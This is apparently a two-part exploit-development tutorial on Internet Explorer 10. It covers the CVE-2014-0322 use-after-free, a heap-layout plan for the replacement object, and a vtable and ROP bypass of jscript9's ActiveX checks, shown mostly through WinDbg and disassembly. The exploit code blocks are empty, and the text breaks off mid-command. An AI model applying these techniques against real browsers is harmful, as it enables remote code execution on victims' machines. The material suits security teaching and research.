IE10: Use-After-Free bug

Until now, we have depended on WinDbg for modifying the length of an Int32Array to acquire full read/write access to the space address of the IE process. It’s high time we found a UAF to complete our exploit.

I chose the UAF with code CVE-2014-0322. You can google for it if you want additional information. Here’s the POC to produce the crash:

Copy and paste that code in an HTML file and open it in IE 10. If you do this, you’ll discover that IE doesn’t crash. What’s wrong?

GFlags

In the same directory as WinDbg, we can find gflags.exe, a utility which can be used to change the Global Flags of Windows. These flags influence the behavior of Windows and can be immensely helpful during debugging. We’re especially interested in two flags:

  1. HPAHeap Page Allocator
  2. USTUser mode Stack Trace

The flag HPA tells Windows to use a special version of the heap allocator that’s useful to detect UAF, buffer overflows and other kinds of bugs. It works by allocating each block in a separate set of contiguous pages (how many depends on the length of the block) so that the end of the block coincides with the end of the last page. The first page after the allocated block is marked as not present. This way, buffer overflows are easily and efficiently detectable. Moreover, when a block is deallocated, all the pages containing it are marked as not present. This makes UAF easy to detect.

Look at the following picture:

pic_48
A page is 0x1000 bytes = 4 KB. If the allocated block is less than 4 KB, its size can be easily determined from its address with this simple formula:

size(addr) = 0x1000 - (addr & 0xfff)

This formula works because the block is allocated at the end of the page containing it. Have a look at the following picture:

pic_49
The second flag, UST, tells Windows to save a stack trace of the current stack whenever a heap block is allocated or deallocated. This is useful to see which function and path of execution led to a particular allocation or deallocation. We’ll see an example during the analysis of the UAF bug.

Global flags can be changed either globally or on a per image file basis. We’re interested in enabling the flags HPA and UST just for iexplore.exe so we’re going to choose the latter.

Run gflags.exe, go to the tab Image File, insert the image name and select the two flags as illustrated in the following picture:

pic_50

Getting the crash

Now load the POC in IE and you should get a crash. If we do the same while debugging IE in WinDbg, we’ll see which instruction generates the exception:

6b900fc4 e83669e6ff      call    MSHTML!CTreePos::SourceIndex (6b7678ff)
6b900fc9 8d45a8          lea     eax,[ebp-58h]
6b900fcc 50              push    eax
6b900fcd 8bce            mov     ecx,esi
6b900fcf c745a804000000  mov     dword ptr [ebp-58h],4
6b900fd6 c745c400000000  mov     dword ptr [ebp-3Ch],0
6b900fdd c745ac00000000  mov     dword ptr [ebp-54h],0
6b900fe4 c745c028000000  mov     dword ptr [ebp-40h],28h
6b900feb c745b400000000  mov     dword ptr [ebp-4Ch],0
6b900ff2 c745b000000000  mov     dword ptr [ebp-50h],0
6b900ff9 c745b8ffffffff  mov     dword ptr [ebp-48h],0FFFFFFFFh
6b901000 c745bcffffffff  mov     dword ptr [ebp-44h],0FFFFFFFFh
6b901007 e80162e6ff      call    MSHTML!CMarkup::Notify (6b76720d)
6b90100c ff4678          inc     dword ptr [esi+78h]  ds:002b:0e12dd38=????????     <---------------------
6b90100f 838e6001000004  or      dword ptr [esi+160h],4
6b901016 8bd6            mov     edx,esi
6b901018 e8640b0600      call    MSHTML!CMarkup::UpdateMarkupContentsVersion (6b961b81)
6b90101d 8b8698000000    mov     eax,dword ptr [esi+98h]
6b901023 85c0            test    eax,eax
6b901025 7416            je      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901027 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h
6b901031 7c0a            jl      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901033 8b4008          mov     eax,dword ptr [eax+8]
6b901036 83a0f0020000bf  and     dword ptr [eax+2F0h],0FFFFFFBFh
6b90103d 8d7dd8          lea     edi,[ebp-28h]

It looks like ESI is a dangling pointer.

Here’s the stack trace:

0:007> k 10
ChildEBP RetAddr  
0a10b988 6b90177b MSHTML!CMarkup::NotifyElementEnterTree+0x266
0a10b9cc 6b9015ef MSHTML!CMarkup::InsertSingleElement+0x169
0a10baac 6b901334 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0a10bad0 6b9012f6 MSHTML!CMarkup::InsertElementInternal+0x2e
0a10bb10 6b901393 MSHTML!CDoc::InsertElement+0x9c
0a10bbd8 6b7d0420 MSHTML!InsertDOMNodeHelper+0x454
0a10bc50 6b7d011c MSHTML!CElement::InsertBeforeHelper+0x2a8
0a10bcb4 6b7d083c MSHTML!CElement::InsertBeforeHelper+0xe4
0a10bcd4 6b7d2de4 MSHTML!CElement::InsertBefore+0x36
0a10bd60 6b7d2d01 MSHTML!CElement::Var_appendChild+0xc7
0a10bd90 0c17847a MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
0a10bdf8 0c176865 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0a10bf94 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0a10c0b4 09ee0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0a10c0c0 0c1764ff 0x9ee0fe1
0a10c254 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x1b57

Let’s determine the size of the (now freed) object:

0:007> ? 1000 - (@esi & fff)
Evaluate expression: 832 = 00000340

Of course, we’re assuming that the object size is less than 0x1000. Finally, here’s an example of stack trace available thanks to the UST flag:

0:007> !heap -p -a @esi
    address 0e12dcc0 found in
    _DPH_HEAP_ROOT @ 141000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e2d0b94:          e12d000             2000
    733990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    772b1564 ntdll!RtlDebugFreeHeap+0x0000002f
    7726ac29 ntdll!RtlpFreeHeap+0x0000005d
    772134a2 ntdll!RtlFreeHeap+0x00000142
    74f414ad kernel32!HeapFree+0x00000014
    6b778f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
    6b7455da MSHTML!CBase::SubRelease+0x0000002e
    6b774183 MSHTML!CMarkup::Release+0x0000002d
    6bb414d1 MSHTML!InjectHtmlStream+0x00000716
    6bb41567 MSHTML!HandleHTMLInjection+0x00000082
    6bb3cfec MSHTML!CElement::InjectInternal+0x00000506
    6bb3d21d MSHTML!CElement::InjectTextOrHTML+0x000001a4
    6ba2ea80 MSHTML!CElement::put_outerHTML+0x0000001d      <----------------------------------
    6bd3309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054    <---------------------
    0c17847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    0c1792c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf
    0c1d6c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8
    0c1ac53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
    0c175cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305

This proves that ESI is indeed a dangling pointer. The names of the functions suggest that the object is deallocated while executing the assignment

this.outerHTML = this.outerHTML;

inside the function handler. This means that we should allocate the new object to replace the old one in memory right after that assignment. We already saw how UAF bugs can be exploited in the chapter exploitme5 (Heap spraying & UAF) so I won’t repeat the theory here.

What we need is to allocate an object of the same size of the deallocated object. This way, the new object will be allocated in the same portion of memory which the deallocated object occupied. We know that the object is 0x340 bytes, so we can create a null-terminated Unicode string of 0x340/2 – 1 = 0x19f = 415 wchars.

First of all, let’s pinpoint the exact point of crash:

0:007> !address @eip

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...


Usage:                  Image
Base Address:           6c4a1000
End Address:            6d0ef000
Region Size:            00c4e000
State:                  00001000    MEM_COMMIT
Protect:                00000020    PAGE_EXECUTE_READ
Type:                   01000000    MEM_IMAGE
Allocation Base:        6c4a0000
Allocation Protect:     00000080    PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\system32\MSHTML.dll
Module Name:            MSHTML
Loaded Image Name:      C:\Windows\system32\MSHTML.dll
Mapped Image Name:      
More info:              lmv m MSHTML
More info:              !lmi MSHTML
More info:              ln 0x6c6c100c
More info:              !dh 0x6c4a0000


0:007> ? @eip-mshtml
Evaluate expression: 2232332 = 0022100c

So the exception is generated at mshtml + 0x22100c. Now close WinDbg and IE, run them again, open the POC in IE and put a breakpoint on the crashing point in WinDbg:

bp mshtml + 0x22100c

Now allow the blocked content in IE and the breakpoint should be triggered right before the exception is generated. This was easy. This is not always the case. Sometimes the same piece of code is executed hundreds of times before the exception is generated.

Now we can try to allocate a new object of the right size. Let’s change the POC as follows:

Note the nice trick to create a string with 415a“!

Before opening the POC in IE, we need to disable the flags HPA and UST (UST is not a problem, but let’s disable it anyway):

pic_51
Now let’s reopen the POC in IE, put a breakpoint at mshtml + 0x22100c and let’s see what happens:

pic_52
Wonderful! ESI points to our object (0x61 is the code point for the character ‘a‘) and now we can take control of the execution flow. Our goal is to reach and control an instruction so that it writes 0x20 at the address 0x0c0af01b. You should know this address by heart by now!

You might be wondering why we assign a string to the className property of a DOM element. Note that we don’t just write

var str = new Array(416).join("a");

When we assign the string to elem.className, the string is copied and the copy is assigned to the property of the DOM element. It turns out that the copy of the string is allocated on the same heap where the object which was freed due to the UAF bug resided. If you try to allocate, for instance, an ArrayBuffer of 0x340 bytes, it won’t work, because the raw buffer for the ArrayBuffer will be allocated on another heap.

Controlling the execution flow

The next step is to see if we can reach a suitable instruction to write to memory at an arbitrary address starting from the crash point. Once again, we’ll use IDA. I can’t stress enough how useful IDA is.

We determined the address of the crash point to be mshtml + 0x22100c. This means that we need to disassemble the library mshtml.dll. Let’s find the path:

0:016> lmf m mshtml
start    end        module name
6b6e0000 6c491000   MSHTML   C:\Windows\system32\MSHTML.dll

Now let’s open that .dll in IDA and, when asked, allow IDA to load symbols from the Microsoft server. Let’s go to ViewOpen subviewsSegments. From there we can determine the base address of mshtml:

pic_53
As we can see, the base address is 0x63580000. Now close the Program Segmentation tab, press g and enter 0x63580000+0x22100c. You should find yourself at the crash location.

Let’s start with the analysis:

pic_54
The value of [esi+98h] must be non 0 because our string can’t contain null wchars (they would terminate the string prematurely, being the string null-terminated). Because of this, the execution reaches the second node where [esi+1a4h] is compared with 15f90h. We can choose [esi+1a4h] = 11111h so that the third node is skipped and a crash is easily avoided, but we could also set up things so that [eax+2f0h] is writable.

Now let’s look at the function ?UpdateMarkupContentsVersion:

pic_55
The picture should be clear enough. Anyway, there’s an important point to understand. We know that the Int32Array whose length we want to modify is at address 0xc0af000, but we don’t control the values at that address. We know, however, that the value at 0xc0af01c is the address of the raw buffer associated with the Int32Array. Note that we don’t know the address of the raw buffer, but we know that we can find that address at 0xc0af01c. Now we must make sure that the dword at offset 1c0h in the raw buffer is 0. Unfortunately, the raw buffer is only 0x58 bytes. Remember that we can’t allocate a bigger raw buffer because it must have the exact same size of a LargeHeapBlock. But there is an easy solution: allocate more raw buffers!

Let’s summarize our memory layout:

Object size = 0x340 = 832
offset: value
   94h: 0c0af010h
        (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
  0ach: 0c0af00bh
        (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
  1a4h: 11111h
        (X = [obj_addr+1a4h] = 11111h < 15f90h)

We need to make several changes to our html file.

First, we add the code for triggering the UAF bug and taking control of the execution flow:

Next, we must create 4 more ArrayBuffer, as we’ve already discussed:

Having added 4 more ArrayBuffers, we also need to fix the code which computes the address of the first raw buffer:

Basically, we changed int32array[0x60*N/4] into int32array[0x60*(N+4)/4] to account for the additional 4 raw buffers after the original raw buffer. Also, the last line was

buf_addr = nextPtr1 - 0x60*2

and has been changed to

buf_addr = nextPtr1 - 0x60*(2+4)

for the same reason.

I noticed that sometimes SaveToFile fails, so I decided to force the page to reload when this happens:

Here’s the full code:

As always, I snipped runcalc. You can download the full code from here: code4.

Load the page in IE using SimpleServer and everything should work just fine! This exploit is very reliable. In fact, even when IE crashes because something went wrong with the UAF bug, IE will reload the page. The user will see the crash but that’s not too serious. Anyway, the event of a crash is reasonably rare.

Internet Explorer 10 32-bit and 64-bit

There are two versions of IE 10 installed: the 32-bit and the 64-bit version. Our exploit works with both of them because while the iexplore.exe module associated with the main window is different (one is a 32-bit and the other a 64-bit executable), the iexplore.exe module associated with the tabs is the same 32-bit executable in both cases. You can verify this just by looking at the path of the two executable in the Windows Task Manager.

Prev Part

IE10: God Mode (2)

Fixing the God Mode

Before doing something radical, let’s try to find out where the crash is. To do this, let’s add a few alerts:

Now reload the page in IE (by going to 127.0.0.1), change the length of the Int32Array at 0xc0af000 and see what happens. You should see all the three alert box from 1 to 3 and then the crash. Therefore, we can conclude that the crash happens when we execute the following instructions:

Why isn’t there any problem with WScript.shell?

A difference should come to mind: ADODB.Stream was disabled by Microsoft! Maybe something happens in jscript9!ScriptSite::CreateObjectFromProgID… Let’s see.

Repeat the process and this time, when the alert box with 3 appears, put a breakpoint on jscript9!ScriptSite::CreateObjectFromProgID. Let’s do some stepping inside CreateObjectFromProgID:

jscript9!ScriptSite::CreateObjectFromProgID:
04f3becb 8bff            mov     edi,edi
04f3becd 55              push    ebp
04f3bece 8bec            mov     ebp,esp
04f3bed0 83ec34          sub     esp,34h
04f3bed3 a144630f05      mov     eax,dword ptr [jscript9!__security_cookie (050f6344)]
04f3bed8 33c5            xor     eax,ebp
04f3beda 8945fc          mov     dword ptr [ebp-4],eax
04f3bedd 53              push    ebx
04f3bede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
04f3bee1 56              push    esi
04f3bee2 33c0            xor     eax,eax
04f3bee4 57              push    edi
04f3bee5 8b7d08          mov     edi,dword ptr [ebp+8]
04f3bee8 8bf2            mov     esi,edx
04f3beea 8975dc          mov     dword ptr [ebp-24h],esi
04f3beed 8945cc          mov     dword ptr [ebp-34h],eax
04f3bef0 897dd0          mov     dword ptr [ebp-30h],edi
04f3bef3 8945d4          mov     dword ptr [ebp-2Ch],eax
04f3bef6 8945d8          mov     dword ptr [ebp-28h],eax
04f3bef9 8945e8          mov     dword ptr [ebp-18h],eax
04f3befc 85ff            test    edi,edi
04f3befe 0f85e26a1600    jne     jscript9!memset+0xf390 (050a29e6)
04f3bf04 8b4604          mov     eax,dword ptr [esi+4]
04f3bf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04f3bfe1)
04f3bf0c 85c0            test    eax,eax
04f3bf0e 8d45ec          lea     eax,[ebp-14h]
04f3bf11 50              push    eax
04f3bf12 51              push    ecx
04f3bf13 0f84d86a1600    je      jscript9!memset+0xf39b (050a29f1)
04f3bf19 ff1508400e05    call    dword ptr [jscript9!_imp__CLSIDFromProgID (050e4008)]
04f3bf1f 85c0            test    eax,eax
04f3bf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)
04f3bf27 8d45ec          lea     eax,[ebp-14h]
04f3bf2a 50              push    eax
04f3bf2b 8b4604          mov     eax,dword ptr [esi+4] ds:002b:02facc44=02f8c480
04f3bf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04f3c315)   <------------------
04f3bf33 85c0            test    eax,eax       <------------------ EAX = 0
04f3bf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)  <----- je taken!
.
.
.
04f0270f bead010a80      mov     esi,800A01ADh
04f02714 e99d980300      jmp     jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04f3bfb6)
.
.
.
04f3bfb6 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:03feb55c=91c70f95
04f3bfb9 5f              pop     edi
04f3bfba 8bc6            mov     eax,esi
04f3bfbc 5e              pop     esi
04f3bfbd 33cd            xor     ecx,ebp
04f3bfbf 5b              pop     ebx
04f3bfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e6133e)
04f3bfc5 c9              leave
04f3bfc6 c20800          ret     8

As we can see, CanCreateObject returns 0 and our familiar CanObjectRun is not even called. What happens if we force CanCreateObject to return true (EAX = 1)? Try to repeat the whole process, but this time, right after the call to CanCreateObject, set EAX to 1 (use r eax=1). Remember that you need to do that twice because we create two ADODB.Stream objects.

Now the alert box with 4 appears but we have a crash after we close it. Why don’t we try to keep the God Mode enabled only when strictly necessary? Let’s change the code as follows:

Let’s try again to load the page and set EAX to 1 right after CanCreateObject. This time, let’s put the breakpoint directly on CanCreateObject:

bp jscript9!ScriptEngine::CanCreateObject

When the breakpoint is triggered, hit Shift+F11 and then set EAX to 1 (the first time it’s already 1). OK, now there is no crash but the calculator doesn’t appear. If you repeat the process with the Developer Tools enabled, you should see the following error:

pic_37
Let’s leave that error for later. For now we should be happy that we (almost) solved the problem with the God Mode. We still need to modify the behavior of CanCreateObject somehow so that it always returns true. Again, repeat the whole process and put a breakpoint on CanCreateObject. When the breakpoint is triggered, we can begin to examine CanCreateObject:

jscript9!ScriptEngine::CanCreateObject:
04dcc315 8bff            mov     edi,edi
04dcc317 55              push    ebp
04dcc318 8bec            mov     ebp,esp
04dcc31a 51              push    ecx
04dcc31b 51              push    ecx
04dcc31c 57              push    edi
04dcc31d 8bf8            mov     edi,eax
04dcc31f f687e401000008  test    byte ptr [edi+1E4h],8
04dcc326 743d            je      jscript9!ScriptEngine::CanCreateObject+0x50 (04dcc365)
04dcc328 8d45fc          lea     eax,[ebp-4]
04dcc32b 50              push    eax
04dcc32c e842000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04dcc373)
04dcc331 85c0            test    eax,eax
04dcc333 7835            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a) [br=0]
04dcc335 8b45fc          mov     eax,dword ptr [ebp-4]
04dcc338 8b08            mov     ecx,dword ptr [eax]        <------------------ ecx = object.vftptr
04dcc33a 6a00            push    0
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]
04dcc346 6a04            push    4
04dcc348 52              push    edx                                            +---------------------
04dcc349 6800120000      push    1200h                                          |
04dcc34e 50              push    eax                                            v
04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al
04dcc360 5f              pop     edi
04dcc361 c9              leave
04dcc362 c20400          ret     4

Look at the virtual call at 04dcc34f: we can use the same trick we used with CanObjectRun! As before, ECX points to a vftable:

0:007> dds ecx
6ac755e0  6a0b2681 MSHTML!PlainQueryInterface
6ac755e4  6a0b25a1 MSHTML!CAPProcessor::AddRef
6ac755e8  6a08609d MSHTML!PlainRelease
6ac755ec  6a078eb5 MSHTML!TearoffThunk3
6ac755f0  6a25604a MSHTML!TearoffThunk4           <----------- we need to modify this for CanCreateObject
6ac755f4  04dcc164 jscript9!ScriptEngine::CanObjectRun+0xaf   <---------- this is our fix for CanObjectRun!
6ac755f8  6a129a77 MSHTML!TearoffThunk6
6ac755fc  6a201a73 MSHTML!TearoffThunk7
6ac75600  6a12770c MSHTML!TearoffThunk8
6ac75604  6a12b22c MSHTML!TearoffThunk9
6ac75608  6a12b1e3 MSHTML!TearoffThunk10
6ac7560c  6a257db5 MSHTML!TearoffThunk11
6ac75610  6a12b2b8 MSHTML!TearoffThunk12
6ac75614  6a332a3d MSHTML!TearoffThunk13
6ac75618  6a242719 MSHTML!TearoffThunk14
6ac7561c  6a254879 MSHTML!TearoffThunk15
6ac75620  6a12b637 MSHTML!TearoffThunk16
6ac75624  6a131bf3 MSHTML!TearoffThunk17
6ac75628  6a129649 MSHTML!TearoffThunk18
6ac7562c  6a4a8422 MSHTML!TearoffThunk19
6ac75630  6a58bc4a MSHTML!TearoffThunk20
6ac75634  6a1316d9 MSHTML!TearoffThunk21
6ac75638  6a2e7b23 MSHTML!TearoffThunk22
6ac7563c  6a212734 MSHTML!TearoffThunk23
6ac75640  6a2e75ed MSHTML!TearoffThunk24
6ac75644  6a4c28c5 MSHTML!TearoffThunk25
6ac75648  6a3c5a7d MSHTML!TearoffThunk26
6ac7564c  6a3a6310 MSHTML!TearoffThunk27
6ac75650  6a3bff2d MSHTML!TearoffThunk28
6ac75654  6a3aa803 MSHTML!TearoffThunk29
6ac75658  6a3cd81a MSHTML!TearoffThunk30
6ac7565c  6a223f19 MSHTML!TearoffThunk31

As you can see, that’s the same vftable we modified for CanObjectRun. Now we need to modify [ecx+10h] for CanCreateObject. We might try to overwrite [ecx+10h] with the address of the epilog of CanCreateObject, but it won’t work. The problem is that we need to zero out EDI before returning from CanCreateObject. Here’s the code right after the call to CanCreateObject:

04ebbf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04ebc315)
04ebbf33 85c0            test    eax,eax
04ebbf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04e8270f)
04ebbf3b 6a05            push    5
04ebbf3d 58              pop     eax
04ebbf3e 85ff            test    edi,edi
04ebbf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050229fc)      <----------------- taken if EDI != 0

If the jne is taken, CreateObjectFromProgID and CreateActiveXObject will fail.

I looked for hours but I couldn’t find any suitable code to call. Something like

would be perfect, but it just doesn’t exist. I looked for any variations I could think of, but to no avail. I also looked for

and variations. This code would mimic a call to the original virtual function and clear [ebp-8]. This way, CanCreateObject would return true:

04dcc338 8b08            mov     ecx,dword ptr [eax]
04dcc33a 6a00            push    0
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]      <---------- edx = ebp-8
04dcc346 6a04            push    4
04dcc348 52              push    edx
04dcc349 6800120000      push    1200h
04dcc34e 50              push    eax
04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh      <-------- if [ebp-8] == 0, then ...
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al                 <-------- ... then EAX = 1
04dcc360 5f              pop     edi                <-------- restores EDI (it was 0)
04dcc361 c9              leave
04dcc362 c20400          ret     4

Note that this would also clear EDI, because EDI was 0 when CanCreateObject was called.

Next, I tried to do some ROP. I looked for something like this:

Unfortunately, I couldn’t find anything similar. If only we could control some other register beside ECX

Well, it turns out that we can control EAX and xchg eax, esp gadgets are certainly more common than xchg ecx, esp gadgets.

Here’s the schema we’re going to use:

pic_38b
We already know that CanCreateObject and CanObjectRun call virtual functions from the same VFTable. You can easily verify that not only do they call virtual functions from the same VFTable, but they call them on the same object. This is also shown in the scheme above.

Let’s look again at the relevant code in CanCreateObject:

04dcc338 8b08            mov     ecx,dword ptr [eax]  <----------- we control EAX, which points to "object"
04dcc33a 6a00            push    0            <----------- now, ECX = object."vftable ptr"
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]
04dcc346 6a04            push    4
04dcc348 52              push    edx
04dcc349 6800120000      push    1200h
04dcc34e 50              push    eax
04dcc34f ff5110          call    dword ptr [ecx+10h]  <----------- call to gadget 1 (in the picture)
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al
04dcc360 5f              pop     edi
04dcc361 c9              leave        <----------- this is gadget 4
04dcc362 c20400          ret     4

The first gadget, when called, make ESP point to object+4 and returns to gadget 2. After gadget 2 and 3, EDI is 0 and EAX non-zero. Gadget 4 restores ESP and returns from CanCreateObject.

Here’s the javascript code to set up object and vftable like in the picture above:

The code should be easy to understand. We create object (new_object) and vftable (new_vftable) by using two Int32Arrays (in particular, their raw buffers) and make object point to vftable. Note that our vftable is a modified copy of the old vftable. Maybe there’s no need to make a copy of the old vftable because only the two modified fields (at offsets 0x10 and 0x14) are used, but that doesn’t hurt.

We can now enable the God Mode by making EAX point to our object and disable the God Mode by making EAX point to the original object.

Controlling EAX

To see if we can control EAX, we need to find out where the value of EAX comes from. I claimed that EAX can be controlled and showed how we can exploit this to do some ROP. Now it’s time for me to show you exactly how EAX can be controlled. In reality, this should be the first thing you do. First you determine if you can control something and only then write code for it.

It’s certainly possible to do the kind of analysis required for this task in WinDbg, but IDA Pro is way better for this. If you don’t own a copy of IDA Pro, download the free version (link).

IDA is a very smart disassembler. Its main feature is that it’s interactive, that is, once IDA has finished disassembling the code, you can edit and manipulate the result. For instance, you can correct mistakes made by IDA, add comments, define structures, change names, etc…

If you want a career in Malware Analysis or Exploit Development, you should get really comfortable with IDA and buy the Pro version.

CanCreateObject is in jscript9. Let’s find out the path of this module in WinDbg:

0:015> lmf m jscript9
start    end        module name
71c00000 71ec6000   jscript9 C:\Windows\SysWOW64\jscript9.dll

Open jscript9.dll in IDA and, if needed, specify the path for the database created by IDA. When asked, allow IDA to download symbols for jscript9.dll. Press CTRL+P (Jump to function), click on Search and enter CanCreateObject. Now CanCreateObject should be selected like shown in the following picture:

pic_39
After you double click on CanCreateObject you should see the graph of the function CanCreateObject. If you see linear code, hit the spacebar. To rename a symbol, click on it and press n. IDA has a very useful feature: when some text is selected, all occurrences of that text are highlighted. This is useful to track things down.

Have a look at the following picture:

pic_40
It’s quite clear that [ebp+object] (note that I renamed var_4 to object) is modified inside ?GetSiteHostSecurityManagerNoRef. Let’s have a look at that function:

pic_41
As we can see, our variable object is overwritten with [edi+1F0h]. We also see that if [edi+1F0h] is 0, it’s initialized. We need to keep this fact in mind for later. Now that we know that we need to track edi, let’s look again at CanCreateObject:

pic_42
To see what code calls CanCreateObject, click somewhere where indicated in the picture above and press CTRL+X. Then select the only function shown. We’re now in CreateObjectFromProgID:

pic_43
This is what we’ve learned so far:

esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we need to go to the caller of CreateObjectFromProgID and follow EDX. To do that, click somewhere on the signature of CreateObjectFromProgID and press CTRL+X. You should see two options: of course, select CreateActiveXObject. Now we’re inside CreateActiveXObject:

pic_44
Let’s update our little schema:

esi = arg0
edx = esi
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we need to follow the first argument passed to CreateActiveXObject. As before, let’s go to the code which calls CreateActiveXObject. Look at the following picture (note that I grouped some nodes together to make the graph more compact):

pic_45
After this, the complete schema is the following:

eax = arg_0
eax = [eax+28h]
edx = eax
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Now we must follow the first argument passed to JavascriptActiveXObject::NewInstance. When we click on its signature and press CTRL+X we’re shown references which doesn’t look familiar. It’s time to go back in WinDbg.

Open in IE a page with this code:

Put a breakpoint on CanCreateObject:

bp jscript9!ScriptEngine::CanCreateObject

When the breakpoint is triggered, let’s step out of the current function by pressing Shift+F11, until we are in jscript9!Js::InterpreterStackFrame::NewScObject_Helper. You’ll see the following:

045725c4 890c82          mov     dword ptr [edx+eax*4],ecx
045725c7 40              inc     eax
045725c8 3bc6            cmp     eax,esi
045725ca 72f5            jb      jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xc2 (045725c1)
045725cc ff75ec          push    dword ptr [ebp-14h]
045725cf ff75e8          push    dword ptr [ebp-18h]
045725d2 ff55e4          call    dword ptr [ebp-1Ch]
045725d5 8b65e0          mov     esp,dword ptr [ebp-20h] ss:002b:03a1bc00=03a1bbe4   <--------- we're here!
045725d8 8945d8          mov     dword ptr [ebp-28h],eax
045725db 8b4304          mov     eax,dword ptr [ebx+4]
045725de 83380d          cmp     dword ptr [eax],0Dh

We can see why IDA wasn’t able to track this call: it’s a dynamic call, meaning that the destination of the call is not static. Let’s examine the first argument:

0:007> dd poi(ebp-18)
032e1150  045e2b70 03359ac0 03355520 00000003
032e1160  00000000 ffffffff 047c4de4 047c5100
032e1170  00000037 00000000 02cc4538 00000000
032e1180  0453babc 00000000 00000001 00000000
032e1190  00000000 032f5410 00000004 00000000
032e11a0  00000000 00000000 00000000 00000000
032e11b0  04533600 033598c0 033554e0 00000003
032e11c0  00000000 ffffffff 047c4de4 047c5660

The first value might be a pointer to a vftable. Let’s see:

0:007> ln 045e2b70
(045e2b70)   jscript9!JavascriptActiveXFunction::`vftable'   |  (04534218)   jscript9!Js::JavascriptSafeArrayObject::`vftable'
Exact matches:
    jscript9!JavascriptActiveXFunction::`vftable' = <no type information>

And indeed, we’re right! More important, JavascriptActiveXFunction is the function ActiveXObject we use to create ActiveX objects! That’s our starting point. So the complete schema is the following:

X = address of ActiveXObject
X = [X+28h]
X = [X+4]
object = [X+1f0h]

Let’s verify that our findings are correct. To do so, use the following javascript code:

Open it in IE and in WinDbg examine the memory at the address 0xadd0000 (or higher, if you want). The memory should be filled with the address of ActiveXObject. In my case, the address is 03411150. Now let’s reach the address of object:

0:002> ? poi(03411150+28)
Evaluate expression: 51132616 = 030c38c8
0:002> ? poi(030c38c8+4)
Evaluate expression: 51075360 = 030b5920
0:002> ? poi(030b5920+1f0)
Evaluate expression: 0 = 00000000

The address is 0. Why? Look again at the following picture:

pic_41
So, to initialize the pointer to object, we need to call CanCreateObject, i.e. we need to create an ActiveX object. Let’s change the javascript code this way:

Repeat the process and try again to get the address of the object:

0:005> ? poi(03411150+28)
Evaluate expression: 51459608 = 03113618
0:005> ? poi(03113618+4)
